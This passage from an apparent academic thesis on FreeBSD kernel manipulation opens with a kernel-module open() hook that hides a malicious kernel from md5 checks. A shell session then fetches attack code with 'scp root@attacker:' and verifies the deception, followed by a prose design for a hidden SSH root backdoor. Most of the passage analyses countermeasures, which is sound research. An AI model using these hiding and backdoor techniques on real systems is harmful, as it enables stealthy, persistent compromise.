The myopen() function simply compares the path of the file that should be opened with a preset of possible values for that path. In case of a match, it manipulates the path parameter uap->path, which is saved somewhere in user space, and then calls the real open() system call. This is the reason why NAME_OF_ORIG_KERNEL must not be longer than 6 bytes, which is the length of the word “kernel”. Otherwise it would overflow the buffer uap->path and overwrite something else. Afterwards the manipulation of the uap->path parameter is undone such that the calling procedure does not become aware of it.

Using this version of myopen() an open()-attempt with the path kernel/kernel in the current working directory /boot/ would reveal the malicious version of the kernel. Furthermore any other file named kernel will cause a no-such-file-or-directory-error, unless the appropriate directory also contains a kernOK file.

static int myopen (struct thread *td, struct open_args *uap){

    int error = 0;

    if (strcmp(uap->path,"kernel")==0){
        strcpy(uap->path,NAME_OF_ORIG_KERNEL);
        error = open(td, uap);
        strcpy(uap->path,"kernel");
    } else if (strcmp(uap->path,"./kernel")==0){
        strcpy(uap->path,"./"NAME_OF_ORIG_KERNEL);
        error = open(td, uap);
        strcpy(uap->path,"./kernel");
    } else if (strcmp(uap->path,"/boot/kernel/kernel")==0){
        strcpy(uap->path,"/boot/kernel/"NAME_OF_ORIG_KERNEL);
        error = open(td, uap);
        strcpy(uap->path,"/boot/kernel/kernel");
    } else{
The following shell session shows the use of this KLD. To hide the KLD itself from detection the techniques from Experiment 1 can be used.

target\# \texttt{md5 /boot/kernel/kernel} [hash value of original kernel file]
MDS (/boot/kernel/kernel) = ac03a31bf01233ea55624d7e7b473c66

[Installation of malicious kernel:]
target\# \texttt{mv /boot/kernel/kernel /boot/kernel/kernOK}
target\# \texttt{scp root@attacker:/usr/src/sys/GENERIC/kernel /boot/kernel/kernel}
target\# \texttt{md5 /boot/kernel/kernel} [hash value of malicious kernel file]
MDS (/boot/kernel/kernel) = 61506cc6a74f3f4a57668a69712e9aa

[Installation of the KLD:]
target\# \texttt{mkdir tmp; cd tmp}
target\# \texttt{scp root@attacker:/exp3/*}
hide-file-kld.c
Makefile
target\# \texttt{make} [...]

target\# \texttt{kldload ./hide-file-kld.ko}
target\# \texttt{cd ..; rm -r tmp/}

[Test of the KLD:]
target\# \texttt{md5 /boot/kernel/kernel} [malicious kernel, but hash value untouched]
MDS (/boot/kernel/kernel) = ac03a31bf01233ea55624d7e7b473c66

target\# \texttt{ls -al /boot/kernel/} [kernOK is hidden]
[...]
-r-xr-xr-x 1 root wheel 20310 Mar 30 18:48 kbdmux.ko
-r-xr-xr-x 1 root wheel 6316982 Mar 30 18:35 kernel
-r-xr-xr-x 1 root wheel 39830 Mar 30 18:48 libalias.ko
[...]

target\# logout

4.5.2 A Kernel with Support for Hidden and Bogus Files

A manipulation at source code level could be done analogously as in the previous subsection. But in order to address the drawbacks we should discuss further approaches. However, we do not implement them.

Before we begin, we distinguish two different types of bogus files. Firstly, we speak of a \textit{bogus file of type 1} if the original file is replaced by the malicious one after the original file is saved at a hidden location. In this case an \texttt{open()} attempt is redirected to the hidden version of the original file. Secondly, we call it a \textit{bogus file of type 2} if the original file is left as it is but all \texttt{execve()} calls are redirected to a malicious version of that file. The malicious file needs to be hidden.

While in case of /boot/kernel/kernel the use of a bogus file of type 1 is preferable,
in all other cases we suggest the use of bogus files of type 2. On the one hand the reason for this is that the boot loader loads the file at the location \texttt{/boot/kernel/kernel}. As a consequence we need not to manipulate the boot loader when using a bogus file of type 1 in that case. On the other hand in case of the use of bogus file of type 2 we only need to manipulate the behavior of the \texttt{execve()} system call. All other calls accessing the file through its path such as \texttt{open()}, \texttt{chmod()}, and \texttt{access()} remain untouched.

Consider first an implementation at the system call level that is similar to what we have done in the previous subsection. The drawbacks mentioned in this subsection are resulting from difficulties to uniquely identify files. This can be addressed by always obtaining the unique full path in the file system tree of an opened or executed file. To find out whether such a file needs to be handled as a hidden or bogus file, the comparison is based on the full path of the file. Furthermore to handle multiple bogus and hidden files, these files need to be organized in a suitable way. This could be, for example, an array containing the full paths of all hidden files.

Since a source code manipulation gives easy access to any point of attack, it might be convenient to implement the support for hidden and bogus files at a lower level such as the vnode layer or the file system layer. But, the complexity of such an approach is very high. The format of directories on the disc might have to be changed for the support of hidden files by, for example, adding a hidden flag to each entry of a directory. A translation of the directory entries of the new format to the \texttt{dirent} structure would then be necessary in order to provide the correct interface for the above layers. To provide bogus files, we could introduce a new type of vnodes similar to links. The original version as well as the malicious version of the appropriate file could be associated with such a vnode. Depending on the requested operation such as \texttt{open()} and \texttt{execve()}, the appropriate version of the file would be used. This would cause major changes in the file system subsystem.

After all, we regard a refinement of the manipulation of the source code of the system call implementing functions \texttt{open()}, \texttt{execve()}, and \texttt{getdirenties()} as the most efficient and effective solution.

### 4.6 Experiment 4: Installing a Backdoor

In this section we discuss the installation of a backdoor on a target machine, where the attacker has temporary \texttt{root} access. We here conceive of a backdoor as a hidden way to access the system with \texttt{root} privileges in a manner controlled by an attacker. We are particularly interested in the question to what extent a kernel manipulation improves the functionality of such a backdoor. According to our definition of backdoor, the only improvement that can be made is the improvement of the stealth technique of the backdoor.

The first idea is to add a system call that appropriately manipulates the user credentials substructure of the process structure of a process. In this way the process would be able to obtain \texttt{root} privileges by calling this system call. But this approach has the following major drawbacks: Firstly, a real user account is needed from which this system call can be started. Secondly, much user level effort is necessary to cover the tracks. Information about users is for example logged in \texttt{utmp}, \texttt{wtmp}, and \texttt{lastlog}.

These drawbacks can be addressed by the following approach that uses a kernel
4.6. EXPERIMENT 4: INSTALLING A BACKDOOR

manipulation as an aid: On the one hand the secure shell (SSH) server `sshd` is replaced by a malicious SSH server and on the other hand the replacement is hidden with the aid of a bogus file. The malicious SSH server behaves almost the same as the original one. The difference is that it creates a hidden root shell process if a certain combination of username and password is given. The attacker presets this combination. When the malicious SSH server starts the hidden root shell, neither the user is registered in `utmp` and `wtmp` nor any log files are updated. It should be emphasized that the support for hidden processes and bogus files is provided by a kernel manipulation. As a consequence, the quality of the stealth techniques of the backdoor depends on the one hand on the support for hidden processes and bogus files and on the other hand on the implementation of the malicious SSH server. For example if the kernel of Experiment 2 was used, all processes started from a hidden shell would also be hidden. The reason to chose SSH as hidden entrance is that this service runs on most servers. Thus a running SSH server will not raise any suspicion.

We do not implement such an SSH server because user level programming would be well beyond the scope of this thesis. So this section actually contains an idea of an experiment rather than a fully conducted experiment.
Chapter 5

Concepts of Countermeasures and Practical Approaches

The previous chapter showed the enormous impact of manipulations in operating system kernels. Therefore we consider theoretical concepts and practical measures against such manipulations in this chapter. In the first section of this chapter we develop a classification for the countermeasures that are presented in the remaining sections. The particular goal of this chapter is to scrutinize the security mechanisms of FreeBSD with regard to measures against kernel manipulation and to discuss their trustworthiness.

5.1 Classification

5.1.1 Goals of Countermeasures

Countermeasures can be distinguished by their different goals. Basically there are the following five goals. The terminology is partly derived from the area of deadlocks [15].

Avoidance

Avoidance of kernel manipulation attempts to eliminate the vulnerabilities that can cause a manipulation. Thereby it aims at defeating elementary conditions that must be met in order for a manipulation to be successful. As a consequence, avoidance measures are usually integrated in the elementary design of an operating system or there is a basic hardware mechanism providing protection for the kernel.

Prevention

We speak of prevention of kernel manipulation if a countermeasure aims at blocking the threats that are posed to the system by vulnerabilities that can cause a manipulation. The vulnerabilities remain but their threat is controlled by a preventive measure. Such measures can be added to a system in response to newly arising vulnerabilities or because the perception of security $\mathcal{P}^{sec}$ changed. It should be noted that prevention and avoidance lie close together.
CHAPTER 5. CONCEPTS OF COUNTERMEASURES

Mitigation

With the term *mitigation* we refer to attempts to confine the impact of a kernel manipulation.

Detection

As its name indicates, *detection* refers to countermeasures that aim at detecting a kernel manipulation.

Removal

Finally, *removal* of kernel manipulation tries either to restore the state of the system that existed before the manipulation or it tries to deactivate the malicious functions that were installed on behalf of the manipulation.

5.1.2 Classification According to Manipulation Methods

If an operating system provides a way to modify or extend the kernel in a controlled manner, a protection mechanism is needed against misuse of this feature for manipulation by an unauthorized party. As identities are represented by the notion of *users*, the access control mechanism must manage the amount of privileges associated with each user appropriately. In this context, we speak of a *kernel-privileged user* if the user is allowed to modify or extend the kernel, otherwise of a *kernel-non-privileged user*.

According to our classification in Subsection 4.1.1, there are two cases of a manipulation attack: firstly, an attacker can try to become a kernel-privileged user, or secondly, they can try to circumvent the mechanism enforcing user privileges (i.e. access control) such that they are able to manipulate the kernel as kernel-non-privileged user. We further classify countermeasures according to this. Note that this classification will also apply either if a system does not support kernel-privileged users or if it aims at deactivating this functionality in normal operation. Depending on their implementation and their effect, such countermeasures are prevention, avoidance, or mitigation measures.

5.2 The UNIX Superuser

In UNIX and thus in FreeBSD, a *user* is a set of processes sharing a certain non-negative *user identification number (UID)* as generally described in Subsection 2.3.3. The management of user privileges in the kernel is actually the management of the privileges of processes by means of the access control mechanism. There are two basic types of users: *normal users* having a positive UID and *superusers* with a UID of 0.

As we pointed out in Subsection 2.4.4, the superuser *root* is thought to be all-powerful. In FreeBSD, *root* is particularly a kernel-privileged user since FreeBSD provides in its default configuration three ways of kernel modification and extension as described in Subsection 4.1.1.

Although, with respect to kernel manipulation, the superuser is actually a prevention measure, we regard it rather as one of the roots of the problem. This is because this concept fails the principle of least privilege. There is no fine-grained mechanism to distribute privileges so that many processes run as *root* although they only need a
minimal part of root’s privileges. From this follows an enormous additional amount of attack vectors since an attacker can obtain root by exploiting a vulnerability in such a process. Common examples are exploits based on an unchecked buffer vulnerability or on a format string vulnerability.

Apart from these user space root exploits, also a vulnerability in the kernel can be misused by an attacker to raise the privileges of a normally privileged user process. According to the manipulation methods described in Subsection 4.1.1, the kernel can be attacked directly via its bottom half or via its top half interface (system call interface). The incorrect handling of a system call request in the kernel, for example, could cause a privilege escalation.

All in all, root exploits, especially those in user space, pose a serious threat to UNIX-like operating systems. In Chapter 4 we therefore presumed a root exploit and claimed such an attack to be feasible for an attacker.

In the remainder of this section we point out three different mechanisms in the FreeBSD kernel to cope with the superuser problem with regard to kernel manipulation. It should be noted that all approaches in user space are beyond the scope of this thesis.

Firstly, FreeBSD allows to deactivate the superuser. This is controlled by the system control value of security.suser.enabled. If it is set to 0, the system will not offer any special privileges to the user with the UID 0, namely root, anymore. However, as stated in the source code commentary of the appropriate system control definition, “setting it to zero may seriously impact the functionality of many existing userland programs, and should not be done without careful consideration of the consequences” [39]. Moreover, root is still able to modify the file /boot/kernel/kernel because this file is owned by this user. Hence in this way root does not become completely a kernel-non-privileged user. As a consequence, we regard this measure only as a mitigation measure with respect to kernel manipulation.

Secondly, there is an approach where root becomes a kernel-non-privileged user called security levels. We deal with it in Section 5.8.

Finally, by means of so-called jails, different users may be additionally isolated from each other. Thereby the system grants only limited privileges to a jailed root user, and in particular, such a root process becomes kernel-non-privileged. Yet, not every root process has to be in jail. We describe this approach in Section 5.7.

5.3 Kernel loaded from ROM

A simple approach for protecting the kernel from manipulation is loading the kernel from a read-only memory (ROM) device such as a CD-ROM or a write-protected floppy-disk. For example the Knoppix distribution of Linux [32] boots from a CD-ROM and does not need to be installed on a hard disk. There is also a system called FreeSBIE which is based on FreeBSD and which works directly from a CD-ROM [41]. However, this is not FreeBSD. Such versions of operating systems are sometimes called live-systems.

If the operating system is always loaded from this ROM device and this behavior cannot be altered by an attacker, the integrity of the kernel after a reboot will be ensured. We refer to a system start-up having this property as secure boot.

However, a live-system can be – perhaps successfully – attacked at runtime. In this case the system remains manipulated until the next reboot. Therefore this approach
prevents kernel manipulation and mitigates the consequences of a manipulation only to a minor extent. It should be noted that loading the operating system from a ROM device also has other advantages than preventing a manipulation.

5.4 Signing of Kernel Modules

The extension of the kernel of an operating system at runtime with additional software modules is a widely-used concept. Typical applications have been considered in the previous chapters. There are several dedicated interfaces that support such an extension. While in the UNIX world software modules that can be loaded into the kernel at runtime are called kernel modules, Windows systems make use of so-called drivers to provide this functionality. However, we use the term kernel module to refer to the whole concept in the following.

An approach to prevent a kernel module based kernel manipulation is to allow only cryptographically signed modules to be loaded. The signing of modules provides authenticity of the module’s originator. By Definition 14 and 12, it follows that if this originator is trustworthy, this approach will preserve the integrity of the kernel.

The Windows XP system provides a functionality that is similar to this concept. In Windows XP it is possible to sign drivers by a party that is trusted by Microsoft. If the system administrator attempts to load a driver which is not signed, they will be notified that the driver is not signed, then they will get a security warning, and finally they will be asked whether the driver should be loaded anyway. As long as it is possible to load unsigned drivers, the threat posed by a kernel manipulation via a malicious driver is not blocked.

In FreeBSD there is no such functionality. However, McKusick considers this to be a “serious flaw in the kernel-module system” [35, p.603]. It might thus be added to FreeBSD in the future.

5.5 Detection

In this section, we firstly consider an approach for detecting persistent manipulations which relies on cryptographic hash functions. At the end of the section, we deal with an approach that is used by anti-malware programs and intrusion detection systems for an analysis at runtime.

The integrity of a component of a system such as a file or a part of memory can be verified by comparing the cryptographic hash value of its current state with the hash value of a clean state (Def. 12). In this way differences between the current state and the clean state will be revealed. If there is no difference, the appropriate component was not manipulated. However, this method will only work if the function or subsystem that retrieves the state of the desired component is trustworthy and the function that computes the hash value is trustworthy, too.

The last two requirements can only be achieved by securely booting\(^1\) a trustworthy version or at least a trusted version of an operating system\(^2\), for example from a ROM.

\(^1\)Secure boot is defined in Section 5.3.
\(^2\)Here we do not use the term “trusted operating system” to prevent confusion. The meaning of the word “trusted” is according to Definition 16.3.
device. This is because the results of an integrity checker cannot be trusted in case of running it within a potentially compromised system, as is shown by the previous chapters. On the ROM device, just mentioned, the clean hash values of the components of the investigated system have to be included. This hash values must be computed from clean versions of the components. Finally, the integrity checker, which is also included in the ROM, runs by using the services of the trusted version of the operating system to detect inconsistencies such as a manipulation of the kernel file. However, a manipulation that existed only in transient memory and thus does not persist a reboot, such as a malicious kernel module, cannot be detected this way. It should be noted that in this approach, we assume that the hardware was not tampered with.

The *tripwire* integrity checker [53] can be used together with a live-system such as Knoppix or FreeSBIE to implement this concept.

Finally, we point out that there is another approach that is used by anti-malware programs and intrusion detection systems. These programs run on the potentially compromised system and scan at runtime the address space, the file system, or even the raw hard disk to search for known anomalies. They search, for example, for a hooked system call, a compromised file, or a suspicious module.

However, an unknown arrangement of a manipulation cannot be detected in this way. Furthermore, this is a game of cat-and-mouse since an attacker will try to circumvent the detection mechanisms of anti-malware programs. In doing so, the attacker has an advantage: for the attacker it is easier to get information about the functionality of the anti-malware program than for the programmer of the anti-malware program vice versa.

An example of a tool implementing this approach is the *chkrootkit* program suite [22]. It is designed for UNIX and in particular it is available for FreeBSD.

### 5.6 Hardware-based Integrity Services

We once pick up again the fact that a manipulation in general can be prevented or avoided by integrity preserving measures. We point out that there are approaches based on services of the ISA level (hardware) that perhaps are capable of ensuring the integrity of the kernel of an operating system.

For example the Intel Corporation proposes system integrity services integrated in the hardware that can protect parts of the system from elimination, tamper, and circumvention [43].

One of the goals of the Trusted Computing Group (TCG) [27] is to provide manipulation avoidance and prevention measures at the hardware level.

### 5.7 Virtual Machines versus FreeBSD Jails

#### 5.7.1 Virtual Machines

As we pointed out in Subsection 2.3.3, a *virtual machine* simulates the functionality of a whole operating system so that the user of the virtual machine does not interact with the real operating system anymore. The simulated operating system is sometimes called *guest operating system* and the system providing the virtual machine for the guest system is called *host operating system*. By this concept of *encapsulation* the impact of
a kernel manipulation can be limited to the scope of the guest operating system. If the virtualization mechanism has no vulnerabilities, the host operating system kernel cannot be affected by such a manipulation. The virtual machine builds a further barrier. Hence, we classify virtual machines as a mitigation measure against kernel manipulation with respect to the kernel of the guest operating system. For the host operating system kernel it is a prevention or even an avoidance measure depending on how the virtual machine is implemented. It should be noted that this is not the only benefit of virtual machines.

In the remainder of this subsection we consider existing virtual machine systems and ask for their main goals. Virtual machines can be implemented by simulating the hardware of a computer system and installing an existing general purpose operating system on this virtual hardware. VMware [29] and Bochs [38] follow this approach and provide a virtual IA-32 platform. However, these two systems target mainly at simulation, testing, and analysis of guest operating systems and software under a guest operating system. The User-mode Linux Project [36] implements the same approach, but it is more likely to be used for mitigating a kernel manipulation on a server in a production environment. There, it is possible to run a complete further Linux kernel in user mode under a Linux host system.

5.7.2 The Jails Mechanism in FreeBSD

The FreeBSD approach towards virtual machines is different insofar as it appears as virtual machine to the user but actually it is an access control concept. Thereby the functionality of a whole virtual FreeBSD system can be simulated. However, this virtual machine uses the same kernel as the host system to service system calls — i.e. operating system services. Thus there is no separation between host operating system kernel and guest operating system kernel. The virtual machine user still does interact with the real operating system.

The mechanism in the FreeBSD kernel that implements this approach is called jails. A jail actually is a set of processes sharing a certain jail identifier (JID), which is a non-negative integer. Within a jail with a positive JID, all processes are isolated from anything outside of this jail and they get the impression of having an exclusive virtual machine with their own FreeBSD-like system. All processes that have JID 0 are not in a jail and there are no further restrictions posed on such processes. At implementation level this concept is realized analogously to the isolation of users from each other as described in Section 5.2. The necessary access restrictions for the isolation of processes according to the functionality of jails are enforced as described in Section 3.5. Therefore we regard jails to be an access control concept.

After describing the access control restrictions that are posed on a jailed process in the subsequent paragraph, we examine in the final paragraph the drawbacks and benefits of the jails mechanism and classify this mechanism according to our classification in Section 5.1.

Limitations for Processes

A jail restricts its processes such that a jailed process cannot interact with processes outside of the jail. It is not even aware of their existence.
5.8. TRUSTED OPERATING SYSTEM CONCEPTS

With respect to networking, each jail has its own IP address and its own hostname. Processes in a jail can only send packets using the IP address that is assigned to the jail.

Every jail is equipped with a private file system, which is a proper subtree of the file system of the main (non-jailed) system. There, all application programs, system programs, and libraries are installed that are required for the processes in the respective jail to run. Furthermore, hardware devices can be provided to a jail via its device file system, which is part of its private file system. While the jailed processes are not able to escape their private file system, this file system is accessible from the outside by users with sufficient privileges.

From within a jail, a process can neither load kernel modules, nor can it access the kernel memory via /dev/kmem, nor does it have access to the kernel file /boot/kernel/kernel.

Once a jail is setup via the jail() system call, the kernel is aware of its existence and it services all system call requests of the jail appropriately. It should be noted that these restrictions also apply to a jailed root process.

Classification of Jails

Since in many cases an incident giving root access to an attacker is based on a vulnerability in an application process, running potentially affected processes in a jail prevents a manipulation of the kernel. For example a jailed webserver process is a typical scenario. If an attacker gains root access due to a vulnerability in a jailed server process, the jail restrictions will still apply. If then the jails mechanism has no vulnerability, the attacker will not be able to escape the jail and thus to affect the outside of the jail. In particular, if the jails mechanism is orderly, it will not be possible to manipulate the kernel from within a jail using the methods described in Chapter 4. Therefore, we classify the jails mechanism as a prevention measure against kernel manipulation and as a mitigation measure against root exploits. In practice, this mechanism is regarded as a real improvement to its predecessor chroot, and apparently it is used for securing production environments in the described way [33].

However, it is important to note that the discussion about the trustworthiness of FreeBSD access control in Subsection 5.8.4 applies in this case analogously. As a consequence, there is neither evidence that jails do their job, nor that they do not.

5.8 Trusted Operating System Concepts

We begin this section by explaining a theoretical concept for a kernel manipulation avoidance measure that bases on the concepts of Section 2.3. It particularly bases on the reference monitor concept. Subsequently, we analyze the access control mechanism of FreeBSD and compare it with the theoretical concept just mentioned. Note that the access control mechanism of FreeBSD is designed to prevent a manipulation of the kernel. Furthermore, we discuss the trustworthiness of this mechanism and its problems. In doing so, we give the reasons for us to speak of a prevention measure instead of an avoidance measure in case of the access control mechanism of FreeBSD. A brief outlook on the aims of the TrustedBSD Project concludes the section.
It should be noted that the features of FreeBSD described in this section are also available, with minor differences, in other BSD flavors such as OpenBSD.

5.8.1 Avoidance in Theory

Picking up the concepts of Section 2.3, in theory a manipulation of the kernel can be avoided as follows. Firstly, a validated access control policy must inhibit any change of the kernel, and secondly, the operating system must have integrated a reference validation mechanism in its elementary design. In doing so, the operating system must enforce the policy on a MAC basis. As we pointed out at the beginning of Section 2.3, a system designed in this way allows an assurance of a high level of trustworthiness. As a result, the policy can be regarded as valid and the avoidance mechanism as orderly.

But as a consequence, the kernel can neither be updated nor extended. Furthermore, the policy cannot be changed. To address the latter point, the system could have a specially privileged execution mode, where networking and support for multiple users is turned off. This mode can only be entered after a reboot and we refer to it as the single user mode. In single user mode the system administrator obtains additional privileges such as altering the security policy and updating the kernel. In particular, physical access to the machine is required to enter single user mode and it is assumed that an attacker does not have such access.

5.8.2 The Security Levels Mechanism

The access control mechanism of FreeBSD is an extension of the traditional UNIX access control mechanism such that the privileges of the superuser root can be limited. Hence, the system is able to enforce a (simple) MAC security policy that restricts the superuser. By means of this extension called security levels, which are also called secure levels, certain security-critical tasks cannot be performed by root when in a certain secure operating mode, namely a security level. Security levels deal only with integrity and they particularly aim at preventing the kernel from being manipulated. Thereby, the system can be configured such that it is not possible anymore to modify the kernel in a way as described in Chapter 4.

According to the documentation of security levels in the manpage [34], there are five security levels, which are identified by the integers from -1 to 3. These levels are ordered according to the following principle: the higher the integer identifier is, the higher the security restrictions enforced by the security level will be. As a consequence, FreeBSD must ensure that once the security level is raised, it cannot be lowered by any means until a reboot. As is shown below, a system can be configured such that a reboot to single user mode\(^3\) is necessary to reset the security level.

The following table specifies the restrictions of the itemized security levels from -1 to 3. It should be noted that every level inherits all restrictions from its preceding level.

\(^3\)The concept of a specially privileged single user mode as described in Subsection 5.8.1 is implemented in FreeBSD.
5.8. TRUSTED OPERATING SYSTEM CONCEPTS

0 Insecure mode: in insecure mode the security levels feature is turned on. Yet, there are no further restrictions compared to permanently insecure mode.

1 Secure mode: secure mode enables basic security features. The device special files /dev/kmem, /dev/mem, and /dev/io as well as the device special files associated with mounted disks may not be opened for writing [34]. It is not possible to load or unload any kernel loadable modules. This is necessary because otherwise it would be possible to circumvent the MAC restrictions of the security level via one of these interfaces. Finally, the following file system flags, which can be assigned to any file, cannot be cleared [33].

   - System no unlink flag: if the sunlnk flag is set for a file, no user, including root, is able to unlink – i.e. to delete – the file.
   - System append-only flag: if the sappnd flag is set for a file, all users, including root, are only able to append contents at the end of the file. Hence it is not possible to modify the existing contents of the file.
   - System immutable flag: if the schg flag is set for a file, no user, including root, is able to change the contents of the file at all.

2 Highly secure mode: in highly secure mode also device special files associated with disks that are not mounted may not be opened for writing.

3 Network secure mode: network secure mode eliminates the possibility to change the configuration of the packet filtering mechanisms (firewalls) ipfw and pf.

A few words about the realization of security levels: if the system is running in secure mode or higher, every affected system call checks each time it is called whether this call is allowed. This is part of the access control mechanism as described in Section 3.5. As we pointed out in Section 3.7, security levels are controlled via the system control kern.securelevel. At boot time the security level is raised according to the level specified in /etc/rc.conf.

5.8.3 A Policy for the Security Levels Mechanism

Having explained the functionality of the security levels mechanism, we now turn to its configuration through the access control policy. This configuration is done by setting file flags such as schg and sappnd on the appropriate files. Candidates for these flags are, for example, log files, configuration files, program binaries, libraries, and the kernel executable file. It should be noted that there is no default policy that ships with FreeBSD other than a trivial policy that does not use these flags.

If a system is running in secure mode or higher and the kernel file /boot/kernel/kernel is protected by the schg flag, the different methods of manipulation described in Subsection 4.1.1 will not work anymore. In this way other parts of the system can also be protected.

However, the security levels mechanism can be circumvented if an attacker is able to reset the security level after a reboot of the system. One of the biggest problems of security levels [52] is to amend the policy such that a reboot to single user mode is necessary to reset the security level. On the one hand it is necessary to set the schg flag
for the /etc/rc.conf configuration file, where the boot time security level is defined. But as a consequence, the biggest part of the start-up configuration of the whole system, which is also included in this file, cannot be changed anymore. On the other hand “all files used in the boot process up until the securelevel is set must be protected. If an attacker can get the system to execute their code prior to the securelevel being set (which happens quite late in the boot process since some things the system must do at start-up cannot be done at an elevated securelevel), its protections are invalidated. While this task of protecting all files used in the boot process is not technically impossible, if it is achieved, system maintenance will become a nightmare since one would have to take the system down, at least to single-user mode, to modify a configuration file” [52]. To conclude this subsection, we point out that for this reason security levels are controversial in practice [52].

5.8.4 Trustworthiness of FreeBSD Access Control

We start this subsection by picking up the fact that, if the access control mechanism (and particularly the security levels mechanism) were orderly and the access control policy was valid, the FreeBSD kernel would be protected against manipulation. Furthermore, a correct access control mechanism builds the foundation for a trusted operating system since this mechanism is necessary in order for any further security mechanism to be tamper-proof.

In the following we explain on the basis of access control that the FreeBSD system was not designed to be subject to assurance. Therefore we explain that, according to Definition 28, the FreeBSD kernel is not a security kernel because it does not satisfy all necessary criteria:

- The kernel is protected by an exclusive protection domain.
- The virtualization mechanisms are included in the kernel.
- But, FreeBSD does not implement the reference monitor concept for managing access control as defined in Subsection 2.3.4. Neither of the itemized criteria is satisfied:
  - Instead of having an RVM, the access control mechanism is scattered all over the kernel and it is not well-separated from the rest of the kernel. As described in Section 3.5, every system call checks within its implementing routines, whether this call conforms to the access control policy, rather than by calling any common access control policy routine [46, p.146]. Thus the access control mechanism is not small enough to be subject to verification.
  - For the same reason, it is hard to assure that the access control mechanism is tamper-proof, that it is always invoked, and that it can never be bypassed. These properties would have to be verified in the context of the whole kernel. For example, a part of the kernel that is not related to access control might influence the behavior of the access control mechanism. This is possible because the access control mechanism runs in the same protection domain

---

4Definition 6.
5Definition 20.
5.8. TRUSTED OPERATING SYSTEM CONCEPTS

as the rest of the kernel. As described in Subsection 2.3.4, a vulnerability such as an unchecked buffer vulnerability that is contained in an arbitrary component of the kernel could entail a manipulation of the access control mechanism.

From the latter comparison it follows that even if the access control mechanism of FreeBSD is close to orderly, it will not be possible to verify this property. This means vice versa that the presence of a security mechanism such as security levels does not necessarily improve the security of the system significantly. We presume that an attacker has already caused an incident to get root and there is no evidence that a further security mechanism such as security levels is able to prevent the attacker from doing further harm.

It should be emphasized again that, in order for an arbitrary security mechanism to be tamper-proof, a mechanism is required that mediates all accesses from subjects to objects. Hence, the core of the problem in FreeBSD is that the reference monitor concept has not been implemented. The discussion of the trustworthiness of the access control mechanism is therefore a discussion of the trustworthiness of the whole system. Thus, it is hard to assure a high degree of trustworthiness for the whole FreeBSD system.

Furthermore, since a reference monitor is such a basic concept, it is quite necessary for it to be included in the elementary design of a system. Thus it may be hard to retrofit an RVM into the FreeBSD system. Brunnstein even states that such a project would contradict his main theorem of secure and safe systems: “Security and safety of a system are basic features of system specification, design, and implementation” [5, p.4.3a]. He concludes that “attempts to enhance the security or safety of a system which have not been addressed in its specification, design, and implementation may not result in a secure or safe system” [5, p.4.3a].

Finally it is important to note that the previous discussion says nothing about the quality of the security mechanisms of FreeBSD, but only about the fact that one can hardly assure quality. Hence, we have somewhat of a semi-decidable problem: as long as no security breach occurs, we do not have any information about the security of the system.

While we just stated that it is hardly possible to assure trustworthiness in FreeBSD, in the remainder of this subsection we give examples of failures in security levels that indicate possible problems of FreeBSD with trustworthiness.

Firstly, the previous subsection showed that it is hard to validate the policy if an attacker shall be able to reboot the system without being able to undermine the security policy. In this context the question arises whether the security mechanisms of FreeBSD are at all capable of enforcing a policy that is actually valid. In particular a mechanism that provides support for a more fine-grained MAC policy could be required.

Secondly, apart from the possibility that a vulnerability in an arbitrary subsystem of the kernel could entail a manipulation of the access control mechanism, the complexity of the security levels mechanism itself leads to problems as the following example shows [33, p.40]. Until FreeBSD 4.X it was possible to circumvent the system immutability flag schg on a configuration file in /etc/ by creating a backup of this directory at another location. After modifying the desired files in the backup, one could mount a memory

\footnote{Definition 29.}
based MFS file system over the existing /etc/ and copy the modified backup version of /etc/ to the newly mounted file system. Thereby, for example, it was possible to restart a daemon process with an altered configuration.

5.8.5 Outlook: TrustedBSD

“The TrustedBSD project provides a set of trusted operating system extensions to the FreeBSD operating system, targeting the Common Criteria for Information Technology Security Evaluation (CC). This project is still under development, and much of the code is destined to make its way back into the base FreeBSD operating system” [42]. The TrustedBSD project likely uses the word “trusted” according to Definition 16.2 because the project aims at the CC security evaluation. After such an evaluation users should be able to trust in this system.

A particular goal of this project is to design and implement an access control mechanism that supports fine-grained MAC access control policies. It supports policies based on security models such as the Biba Integrity Model and the Role-Based Access Control Model [50, p.35]. Thereby also a kernel manipulation prevention measure is provided, which is perhaps more consistent and powerful than security levels.

Yet, the question remains for us whether the arguments of the previous subsection also apply in this case: there is still no well-separated reference monitor.
Chapter 6

Conclusions

From the results of Chapter 4 and Chapter 5 we conclude that a kernel manipulation is the first choice for an attacker to control a compromised operating system completely and in a stealthy and persistent manner. In Section 5.2 we explained why there is a high risk that basic protection fails in UNIX-like systems and thus why a kernel manipulation can be feasible for an attacker in this case. We conducted four experiments showing how to accomplish a manipulation and demonstrating their power. As a consequence, the general susceptibility of a system to such attacks poses a serious threat to the system. The major problem with a manipulation of the kernel is that all programs running on a potentially compromised system cannot trust in the resources and services of the underlying system. Under this condition the trustworthiness of all computing based on such a system is questionable. Because of this serious security implication, there was much effort to develop effective countermeasures in practice, as shown in Chapter 5. However, we are still concerned about their success.

To be more precise, in Subsection 5.8.4 we explained on the one hand why FreeBSD was not designed to be subject to assurance. The main reason for this is that the reference monitor concept has not been implemented. It is therefore hardly possible to provide evidence whether any security mechanism actually works as required. We regard this fact as the major drawback of FreeBSD. On the other hand, with regard to this characteristic of not being able to measure its quality, FreeBSD shows its high complexity, its limited controllability, and its lack of separation and isolation of its subsystems. We pointed out a security breach resulting from the latter attributes, for instance, in context with security levels in Subsection 5.8.4. Together with the problems arising out of the superuser mechanism described in Section 5.2, these issues are indications of security shortcomings in the elementary design of FreeBSD. This conclusion is in line with the supposed initial goals in the development of UNIX. According to Pfleeger [12, p.298], UNIX was originally designed for “nonhostile” environments such as universities and laboratories. Instead of security, the priority was given to modularity, compactness, and portability.

As a consequence, we are in doubt whether FreeBSD is capable of effectively avoiding an incident such as a kernel manipulation without a complete redesign and reimplementation of its internal structure. We further believe that the effort of a project retrofitting essential security features to FreeBSD such as a kernel manipulation avoidance measure will exceed the effort of the development of a brand new system. At this point it is
important to note that the latter discussion can be extended to many further – maybe to all – current UNIX-like operating systems.

